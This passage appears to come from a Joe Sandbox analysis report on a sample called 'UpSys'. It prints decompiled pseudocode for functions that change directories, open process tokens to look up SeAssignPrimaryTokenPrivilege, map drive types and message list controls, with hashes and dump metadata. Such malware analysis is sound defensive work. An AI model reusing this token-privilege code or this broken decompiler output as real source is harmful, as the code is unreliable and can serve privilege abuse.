                                                                                                                                                                                                        • Instruction ID: 92d5c3c97456a35c5b35770b86e1fcb34c6d1a7c3e055ad7617b7ea475030a91
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 23175a9514f7a0b72fb445976a641e4fee1515abb0ddbbe6ebe4399a6ada1849
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B791D57320468493EA76DB23E4447EEA361F7997D8F548005FB8A13AB5DB3CDA85C700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014006F700 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 144timeCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 55%
                                                                                                                                                                                                        			E0000000114006F700(void* __ecx, void* __edx, void* __esp, long long __rbx, long long __rcx, void* __rdx, long long __rbp, intOrPtr* __r8, void* __r9, void* __r10, void* __r11, long long _a8, char _a16, long long _a24) {
				void* _v40;
				char _v568;
				char _v1096;
				char _v1624;
				void* _v2152;
				intOrPtr _v2160;
				char _v2680;
				char _v3208;
				char _v3224;
				long long _v3240;
				void* __rdi;
				void* __rsi;
				void* _t57;
				void* _t85;
				intOrPtr* _t100;
				intOrPtr* _t103;
				void* _t148;
				intOrPtr _t149;
				long long _t167;

				_a8 = __rbx;
				_a24 = __rbp;
				_t100 =  *((intOrPtr*)(__rdx + 8));
				_t149 =  *((intOrPtr*)(__rdx + 0x10));
				_t167 = __rcx;
				_t103 = __r8;
				_t148 = __rdx;
				E00000001140062190(_t100,  *((intOrPtr*)(_t100 + 8)));
				r14d = 0;
				if (_t149 - 3 < 0) goto 0x4006f775;
				if (E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x10))) - r14d < 0) goto 0x4006f775;
				if (E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x10))) - 2 > 0) goto 0x4006f775;
				_t101 =  *((intOrPtr*)(__rdx + 8));
				_t85 = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x10)));
				if (_t149 - 4 < 0) goto 0x4006f790;
				_t57 = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x18)));
				sil = 1;
				if (_t57 == 1) goto 0x4006f793;
				sil = r14b;
				if ( *_t100 == r14w) goto 0x4006f7c9;
				r9d = 0;
				r8b = 1;
				if (E0000000114003FBB0(__ecx, __esp,  *((intOrPtr*)(__rdx + 8)), __r8, _t100,  &_v3224, _t149, __rbp, __r8, __r11) != r14b) goto 0x4006f7d4;
				E00000001140007A40(__r8, __r8, _t149);
				 *((intOrPtr*)(__r8 + 8)) = 1;
				 *__r8 = r14d;
				goto 0x4006f968;
				GetLocalTime(??);
				SystemTimeToFileTime(??, ??);
				LocalFileTimeToFileTime(??, ??);
				E00000001140062190(_t101,  *((intOrPtr*)( *((intOrPtr*)(_t148 + 8)))));
				E0000000114001760C(__ecx, __esp,  &_v2680, _t101, _t148, _t148);
				_v2160 = r14w;
				E00000001140015460(_t101,  &_v2680);
				E000000011400151D0(_t101, __r8,  &_v2680);
				_v3240 =  &_v1096;
				E0000000114001823C(_t103,  &_v2680,  &_v1624, _t149,  &_v568,  &_v3208, __r10,  &_v1096);
				E00000001140016E20( &_v1624,  &_v568);
				E00000001140016E20( &_v3208,  &_v1096);
				GetCurrentDirectoryW(??, ??);
				if (SetCurrentDirectoryW(??) == r14d) goto 0x4006f7b2;
				if (E00000001140040EC0() == r14b) goto 0x4006f926;
				r8d = _t85;
				if (E00000001140041170(_t103,  &_a16, _t149,  &_v3208) != r14b) goto 0x4006f905;
				SetCurrentDirectoryW(??);
				goto 0x4006f7b2;
				if (sil == r14b) goto 0x4006f95a;
				SetCurrentDirectoryW(??);
				E00000001140016E4C( &_v3208, L"*.*");
				r9d = _t85;
				_v3240 = sil;
				if (E0000000114004F070(_t167,  &_v3208,  &_a16,  &_v3208) != r14b) goto 0x4006f95a;
				E00000001140007A40(_t103, _t103, _t149);
				 *((intOrPtr*)(_t103 + 8)) = 1;
				 *_t103 = r14d;
				SetCurrentDirectoryW(??);
				return 0;
			}






















                                                                                                                                                                                                        0x14006f700
                                                                                                                                                                                                        0x14006f705
                                                                                                                                                                                                        0x14006f719
                                                                                                                                                                                                        0x14006f71d
                                                                                                                                                                                                        0x14006f721
                                                                                                                                                                                                        0x14006f728
                                                                                                                                                                                                        0x14006f72b
                                                                                                                                                                                                        0x14006f72e
                                                                                                                                                                                                        0x14006f733
                                                                                                                                                                                                        0x14006f740
                                                                                                                                                                                                        0x14006f752
                                                                                                                                                                                                        0x14006f764
                                                                                                                                                                                                        0x14006f766
                                                                                                                                                                                                        0x14006f773
                                                                                                                                                                                                        0x14006f779
                                                                                                                                                                                                        0x14006f783
                                                                                                                                                                                                        0x14006f788
                                                                                                                                                                                                        0x14006f78e
                                                                                                                                                                                                        0x14006f790
                                                                                                                                                                                                        0x14006f798
                                                                                                                                                                                                        0x14006f79f
                                                                                                                                                                                                        0x14006f7a2
                                                                                                                                                                                                        0x14006f7b0
                                                                                                                                                                                                        0x14006f7b5
                                                                                                                                                                                                        0x14006f7ba
                                                                                                                                                                                                        0x14006f7c1
                                                                                                                                                                                                        0x14006f7c4
                                                                                                                                                                                                        0x14006f7ce
                                                                                                                                                                                                        0x14006f7e1
                                                                                                                                                                                                        0x14006f7f7
                                                                                                                                                                                                        0x14006f804
                                                                                                                                                                                                        0x14006f81c
                                                                                                                                                                                                        0x14006f829
                                                                                                                                                                                                        0x14006f832
                                                                                                                                                                                                        0x14006f847
                                                                                                                                                                                                        0x14006f871
                                                                                                                                                                                                        0x14006f876
                                                                                                                                                                                                        0x14006f88b
                                                                                                                                                                                                        0x14006f89d
                                                                                                                                                                                                        0x14006f8ac
                                                                                                                                                                                                        0x14006f8c3
                                                                                                                                                                                                        0x14006f8d6
                                                                                                                                                                                                        0x14006f8e5
                                                                                                                                                                                                        0x14006f8f0
                                                                                                                                                                                                        0x14006f8fa
                                                                                                                                                                                                        0x14006f900
                                                                                                                                                                                                        0x14006f908
                                                                                                                                                                                                        0x14006f90f
                                                                                                                                                                                                        0x14006f921
                                                                                                                                                                                                        0x14006f933
                                                                                                                                                                                                        0x14006f939
                                                                                                                                                                                                        0x14006f946
                                                                                                                                                                                                        0x14006f94b
                                                                                                                                                                                                        0x14006f950
                                                                                                                                                                                                        0x14006f957
                                                                                                                                                                                                        0x14006f962
                                                                                                                                                                                                        0x14006f985

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CurrentDirectoryTime$File$Local$System
                                                                                                                                                                                                        • String ID: *.*
                                                                                                                                                                                                        • API String ID: 1464919966-438819550
                                                                                                                                                                                                        • Opcode ID: d37b22ce77d9282cca35a1199200ccb3de7cb3294942a55ba9b55f1263522d5e
                                                                                                                                                                                                        • Instruction ID: 0b801b45080200f60318d18f57a8694ff2eb34f2579342e639b6f6fe3b302762
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d37b22ce77d9282cca35a1199200ccb3de7cb3294942a55ba9b55f1263522d5e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 3C61A632218A8591EA61EF26E8507EE6331F7C97C4F904412FB8D576B9DF39C98AC740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400441B0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 106threadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 22%
                                                                                                                                                                                                        			E000000011400441B0(void* __ecx, signed long long __rcx) {
				void* __rbx;
				void* __rsi;
				void* __rbp;
				signed int _t46;
				void* _t64;
				void* _t69;
				void* _t73;
				long long _t86;
				intOrPtr* _t87;
				signed long long _t89;
				void* _t90;
				void* _t93;
				void* _t94;

				_t69 = _t93;
				_t94 = _t93 - 0x50;
				 *(_t69 + 0x18) =  *(_t69 + 0x18) & 0x00000000;
				_t89 = __rcx;
				 *(_t69 + 0x10) =  *(_t69 + 0x10) & 0;
				 *((long long*)(_t69 + 0x20)) = _t86;
				GetCurrentProcess();
				r8d = 0;
				if (OpenThreadToken(??, ??, ??, ??) != 0) goto 0x40044217;
				GetCurrentProcess();
				if (OpenProcessToken(??, ??, ??) == 0) goto 0x40044304;
				 *((long long*)(_t94 + 0x28)) = _t94 + 0x98;
				 *(_t94 + 0x20) =  *(_t94 + 0x20) & 0;
				r8d = 3;
				if (E00000001140043C70(_t73,  *((intOrPtr*)(_t94 + 0xa0)), __rcx, _t90, _t94 + 0xa8) == 0) goto 0x400442fc;
				if (LookupPrivilegeValueW(??, ??, ??) == 0) goto 0x400442fc;
				 *(_t94 + 0x38) =  *(_t94 + 0x38) & 0;
				if (LookupPrivilegeValueW(??, ??, ??) == 0) goto 0x400442fc;
				 *(_t94 + 0x44) =  *(_t94 + 0x44) & 0;
				_t87 =  *((intOrPtr*)(_t94 + 0xa8));
				_t23 = _t89 + 1; // 0x1
				_t46 = _t23;
				if ( *_t87 <= 0) goto 0x400442df;
				r13d = 2;
				r8d = 8;
				_t64 = E00000001140017440(0, _t87 + 4 + (_t89 + _t89 * 2) * 4, _t94 + 0x30, _t94 + 0x3c);
				if (_t64 != 0) goto 0x400442cc;
				 *(_t94 + 0x38) = _t46;
				if (_t64 != 0) goto 0x400442b4;
				if (0 + _t46 -  *_t87 < 0) goto 0x4004429b;
				if ( *(_t94 + 0x38) == 0) goto 0x400442f8;
				if (0 + _t46 - 2 < 0) goto 0x400442e6;
				goto 0x40044304;
				goto 0x40044304;
				if ( *((intOrPtr*)(_t94 + 0xa0)) == 0) goto 0x40044317;
				CloseHandle(??);
				E00000001140043B80(_t94 + 0x44,  *((intOrPtr*)(_t94 + 0xa8)));
				return 0;
			}
















                                                                                                                                                                                                        0x1400441b0
                                                                                                                                                                                                        0x1400441bd
                                                                                                                                                                                                        0x1400441c1
                                                                                                                                                                                                        0x1400441c8
                                                                                                                                                                                                        0x1400441cb
                                                                                                                                                                                                        0x1400441ce
                                                                                                                                                                                                        0x1400441d4
                                                                                                                                                                                                        0x1400441e8
                                                                                                                                                                                                        0x1400441f3
                                                                                                                                                                                                        0x1400441f5
                                                                                                                                                                                                        0x140044211
                                                                                                                                                                                                        0x14004422f
                                                                                                                                                                                                        0x140044234
                                                                                                                                                                                                        0x140044238
                                                                                                                                                                                                        0x140044248
                                                                                                                                                                                                        0x140044264
                                                                                                                                                                                                        0x14004426a
                                                                                                                                                                                                        0x140044284
                                                                                                                                                                                                        0x140044286
                                                                                                                                                                                                        0x14004428a
                                                                                                                                                                                                        0x140044294
                                                                                                                                                                                                        0x140044294
                                                                                                                                                                                                        0x140044299
                                                                                                                                                                                                        0x1400442ae
                                                                                                                                                                                                        0x1400442b4
                                                                                                                                                                                                        0x1400442c5
                                                                                                                                                                                                        0x1400442c7
                                                                                                                                                                                                        0x1400442c9
                                                                                                                                                                                                        0x1400442d7
                                                                                                                                                                                                        0x1400442dd
                                                                                                                                                                                                        0x1400442e9
                                                                                                                                                                                                        0x1400442f4
                                                                                                                                                                                                        0x1400442f6
                                                                                                                                                                                                        0x1400442fa
                                                                                                                                                                                                        0x14004430f
                                                                                                                                                                                                        0x140044311
                                                                                                                                                                                                        0x14004431a
                                                                                                                                                                                                        0x14004432f

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Process$CurrentLookupOpenPrivilegeTokenValue$CloseHandleThread
                                                                                                                                                                                                        • String ID: SeAssignPrimaryTokenPrivilege$SeIncreaseQuotaPrivilege
                                                                                                                                                                                                        • API String ID: 2833215880-805462909
                                                                                                                                                                                                        • Opcode ID: b323ba38ceead2c9eb53284f7175618656b0d6c26fe85ab98b449eadefbf5bef
                                                                                                                                                                                                        • Instruction ID: 398ced24428828a8a0d3ffc9cb0b128af8a4e0040b25948343bd0f4d130e3c52
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b323ba38ceead2c9eb53284f7175618656b0d6c26fe85ab98b449eadefbf5bef
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4C41D13330468196EB228F13E5407DA73A0F789BD8F814126FF8A03664DF78C649C744
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014006F050 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 81COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 68%
                                                                                                                                                                                                        			E0000000114006F050(void* __edx, void* __esi, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi, long long __rbp, void* __r8, long long _a8, long long _a16, long long _a24) {
				long long _v16;
				long long _v24;
				long long _v32;
				char _v40;
				int _t22;
				int _t26;
				void* _t40;
				void* _t44;
				intOrPtr* _t47;
				short* _t48;
				void* _t78;
				intOrPtr* _t81;
				void* _t86;

				_t86 = __r8;
				_t49 = __rbx;
				_t40 = __edx;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t81 = __rcx;
				_t78 = __r8;
				_t22 = SetErrorMode(??);
				_t47 =  *((intOrPtr*)(__rdx + 8));
				E00000001140011960(_t22,  *_t47);
				_v40 =  *_t47;
				_v32 =  *((intOrPtr*)(_t47 + 8));
				_v24 =  *((intOrPtr*)(_t47 + 0x10));
				_t48 =  *((intOrPtr*)(_t47 + 0x18));
				_v16 = _t48;
				 *_t48 =  *_t48 + 1;
				E00000001140002170(__rbx,  &_v40, _v32 - 1);
				if ( *_t48 == 0x5c) goto 0x4006f0d4;
				E00000001140011830(_t49,  &_v40, "\\", __r8, __rcx);
				_t26 = GetDriveTypeW(??);
				_t44 = _t26 - 1;
				if (_t44 == 0) goto 0x4006f13e;
				if (_t44 == 0) goto 0x4006f12d;
				if (_t44 == 0) goto 0x4006f124;
				if (_t44 == 0) goto 0x4006f11b;
				if (_t44 == 0) goto 0x4006f112;
				if (_t26 - 0xffffffffffffffff == 1) goto 0x4006f109;
				goto 0x4006f137;
				goto 0x4006f137;
				goto 0x4006f134;
				goto 0x4006f134;
				goto 0x4006f134;
				E00000001140012D80(_t40, _t48, _t49, _t78, L"Removable", _t78, _t86);
				goto 0x4006f164;
				E00000001140012D80(_t40, _t48, _t49, _t78, 0x4009b6c0, _t78, _t86);
				r8d = 0;
				_t17 = _t86 + 1; // 0x1
				E00000001140002610(E0000000114000FCA0(_t17, _t48, _t49,  *((intOrPtr*)( *_t81 + 4)) + _t81, _t78), _t49,  &_v40);
				SetErrorMode(??);
				return 0;
			}
















                                                                                                                                                                                                        0x14006f050
                                                                                                                                                                                                        0x14006f050
                                                                                                                                                                                                        0x14006f050
                                                                                                                                                                                                        0x14006f050
                                                                                                                                                                                                        0x14006f055
                                                                                                                                                                                                        0x14006f05a
                                                                                                                                                                                                        0x14006f064
                                                                                                                                                                                                        0x14006f06c
                                                                                                                                                                                                        0x14006f072
                                                                                                                                                                                                        0x14006f07a
                                                                                                                                                                                                        0x14006f081
                                                                                                                                                                                                        0x14006f089
                                                                                                                                                                                                        0x14006f092
                                                                                                                                                                                                        0x14006f09b
                                                                                                                                                                                                        0x14006f0a0
                                                                                                                                                                                                        0x14006f0a9
                                                                                                                                                                                                        0x14006f0ae
                                                                                                                                                                                                        0x14006f0b8
                                                                                                                                                                                                        0x14006f0c1
                                                                                                                                                                                                        0x14006f0cf
                                                                                                                                                                                                        0x14006f0d9
                                                                                                                                                                                                        0x14006f0df
                                                                                                                                                                                                        0x14006f0e2
                                                                                                                                                                                                        0x14006f0e7
                                                                                                                                                                                                        0x14006f0ec
                                                                                                                                                                                                        0x14006f0f1
                                                                                                                                                                                                        0x14006f0f6
                                                                                                                                                                                                        0x14006f0fe
                                                                                                                                                                                                        0x14006f107
                                                                                                                                                                                                        0x14006f110
                                                                                                                                                                                                        0x14006f119
                                                                                                                                                                                                        0x14006f122
                                                                                                                                                                                                        0x14006f12b
                                                                                                                                                                                                        0x14006f137
                                                                                                                                                                                                        0x14006f13c
                                                                                                                                                                                                        0x14006f148
                                                                                                                                                                                                        0x14006f151
                                                                                                                                                                                                        0x14006f158
                                                                                                                                                                                                        0x14006f169
                                                                                                                                                                                                        0x14006f170
                                                                                                                                                                                                        0x14006f18c

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ErrorMode$DriveType
                                                                                                                                                                                                        • String ID: CDROM$Fixed$Network$RAMDisk$Removable$Unknown
                                                                                                                                                                                                        • API String ID: 2907320926-706929342
                                                                                                                                                                                                        • Opcode ID: ceb45f3ccd63b4f1c3f37d85f39115fde2f83816c881163f897a4ef9246e2fc8
                                                                                                                                                                                                        • Instruction ID: e75a45fb00383d76d66c6a288b09cd3263209b3d8c44b141d814572970d72d36
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ceb45f3ccd63b4f1c3f37d85f39115fde2f83816c881163f897a4ef9246e2fc8
                                                                                                                                                                                                        • Instruction Fuzzy Hash: BB314A76208A40D1EA66DF16E8903E96362F78DBC0F948511FB8E8BBB9DF38C545D700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014007C0E0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 79windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 52%
                                                                                                                                                                                                        			E0000000114007C0E0(void* __ecx, void* __edx, void* __eflags, long long __rbx, void* __rcx, void* __rdx, long long __rsi, long long __rbp, void* __r8, void* _a8, void* _a16, void* _a24) {
				char _v40;
				void* _t14;
				void* _t17;
				void* _t33;
				void* _t36;
				void* _t43;
				void* _t48;
				long long _t49;
				struct HWND__* _t71;
				void* _t77;
				void* _t81;
				void* _t84;

				_t84 = __r8;
				_t49 = __rbx;
				_t43 = __eflags;
				_t36 = __edx;
				_t33 = __ecx;
				_t48 = _t81;
				 *((long long*)(_t48 + 8)) = __rbx;
				 *((long long*)(_t48 + 0x10)) = __rbp;
				 *((long long*)(_t48 + 0x18)) = __rsi;
				_t77 = __rcx;
				E00000001140001D30(_t48, __rbx, _t48 - 0x28, L"ComboBox");
				r8d = 0;
				_t14 = E0000000114007B790(_t33, _t36, _t43, _t48, _t49, _t77,  &_v40, _t77, __rbp, _t84);
				E00000001140002610(_t14, _t49,  &_v40);
				if (_t14 == 0) goto 0x4007c136;
				goto 0x4007c175;
				E00000001140001D30(_t48, _t49,  &_v40, L"ListBox");
				r8d = 0;
				_t17 = E0000000114007B790(_t33, 0x14d, _t14, _t48, _t49, _t77,  &_v40, _t77, __rbp, _t84);
				E00000001140002610(_t17, _t49,  &_v40);
				if (_t17 == 0) goto 0x4007c1f7;
				SendMessageW(??, ??, ??, ??);
				if (_t48 == 0xffffffff) goto 0x4007c1f7;
				GetDlgCtrlID(_t71);
				asm("dec eax");
				GetParent(??);
				SendMessageW(??, ??, ??, ??);
				GetDlgCtrlID(??);
				GetParent(??);
				SendMessageW(??, ??, ??, ??);
				goto 0x4007c1f9;
				return 0;
			}















                                                                                                                                                                                                        0x14007c0e0
                                                                                                                                                                                                        0x14007c0e0
                                                                                                                                                                                                        0x14007c0e0
                                                                                                                                                                                                        0x14007c0e0
                                                                                                                                                                                                        0x14007c0e0
                                                                                                                                                                                                        0x14007c0e0
                                                                                                                                                                                                        0x14007c0e3
                                                                                                                                                                                                        0x14007c0e7
                                                                                                                                                                                                        0x14007c0eb
                                                                                                                                                                                                        0x14007c0f7
                                                                                                                                                                                                        0x14007c105
                                                                                                                                                                                                        0x14007c10f
                                                                                                                                                                                                        0x14007c115
                                                                                                                                                                                                        0x14007c121
                                                                                                                                                                                                        0x14007c128
                                                                                                                                                                                                        0x14007c134
                                                                                                                                                                                                        0x14007c142
                                                                                                                                                                                                        0x14007c14c
                                                                                                                                                                                                        0x14007c152
                                                                                                                                                                                                        0x14007c15e
                                                                                                                                                                                                        0x14007c165
                                                                                                                                                                                                        0x14007c17f
                                                                                                                                                                                                        0x14007c189
                                                                                                                                                                                                        0x14007c191
                                                                                                                                                                                                        0x14007c19d
                                                                                                                                                                                                        0x14007c1a2
                                                                                                                                                                                                        0x14007c1b6
                                                                                                                                                                                                        0x14007c1c2
                                                                                                                                                                                                        0x14007c1d9
                                                                                                                                                                                                        0x14007c1ed
                                                                                                                                                                                                        0x14007c1f5
                                                                                                                                                                                                        0x14007c20d

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$CtrlParent
                                                                                                                                                                                                        • String ID: ComboBox$ListBox
                                                                                                                                                                                                        • API String ID: 1383977212-1403004172
                                                                                                                                                                                                        • Opcode ID: ae229f9239555ca2c63830b720e5d648cf20d145ff263b0b8e470630f5621fe7
                                                                                                                                                                                                        • Instruction ID: 490856085199eca8bfb5f1953e929ab7343375e801b8b7cce09cd387bdf95ed5
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ae229f9239555ca2c63830b720e5d648cf20d145ff263b0b8e470630f5621fe7
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 03318D76214A8082EB169F17E8507E963A0F78DBE0F884225FBAD177E6DE3CC549C300
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014007C370 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 79windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 52%
                                                                                                                                                                                                        			E0000000114007C370(void* __ecx, void* __edx, void* __eflags, long long __rbx, void* __rcx, long long __rsi, long long __rbp, void* __r8, void* _a8, void* _a16, void* _a24) {
				char _v40;
				void* _t14;
				void* _t17;
				void* _t33;
				void* _t43;
				void* _t48;
				long long _t49;
				struct HWND__* _t70;
				void* _t76;
				void* _t80;
				void* _t83;

				_t83 = __r8;
				_t49 = __rbx;
				_t43 = __eflags;
				_t36 = __edx;
				_t33 = __ecx;
				_t48 = _t80;
				 *((long long*)(_t48 + 8)) = __rbx;
				 *((long long*)(_t48 + 0x10)) = __rbp;
				 *((long long*)(_t48 + 0x18)) = __rsi;
				_t76 = __rcx;
				E00000001140001D30(_t48, __rbx, _t48 - 0x28, L"ComboBox");
				r8d = 0;
				_t14 = E0000000114007B790(_t33, _t36, _t43, _t48, _t49, _t76,  &_v40, _t76, __rbp, _t83);
				E00000001140002610(_t14, _t49,  &_v40);
				if (_t14 == 0) goto 0x4007c3c6;
				goto 0x4007c405;
				E00000001140001D30(_t48, _t49,  &_v40, L"ListBox");
				r8d = 0;
				_t17 = E0000000114007B790(_t33, 0x14e, _t14, _t48, _t49, _t76,  &_v40, _t76, __rbp, _t83);
				E00000001140002610(_t17, _t49,  &_v40);
				if (_t17 == 0) goto 0x4007c486;
				r9d = 0;
				SendMessageW(??, ??, ??, ??);
				if (_t48 == 0xffffffff) goto 0x4007c486;
				GetDlgCtrlID(_t70);
				asm("dec eax");
				GetParent(??);
				SendMessageW(??, ??, ??, ??);
				GetDlgCtrlID(??);
				GetParent(??);
				SendMessageW(??, ??, ??, ??);
				goto 0x4007c488;
				return 0;
			}














                                                                                                                                                                                                        0x14007c370
                                                                                                                                                                                                        0x14007c370
                                                                                                                                                                                                        0x14007c370
                                                                                                                                                                                                        0x14007c370
                                                                                                                                                                                                        0x14007c370
                                                                                                                                                                                                        0x14007c370
                                                                                                                                                                                                        0x14007c373
                                                                                                                                                                                                        0x14007c377
                                                                                                                                                                                                        0x14007c37b
                                                                                                                                                                                                        0x14007c387
                                                                                                                                                                                                        0x14007c395
                                                                                                                                                                                                        0x14007c39f
                                                                                                                                                                                                        0x14007c3a5
                                                                                                                                                                                                        0x14007c3b1
                                                                                                                                                                                                        0x14007c3b8
                                                                                                                                                                                                        0x14007c3c4
                                                                                                                                                                                                        0x14007c3d2
                                                                                                                                                                                                        0x14007c3dc
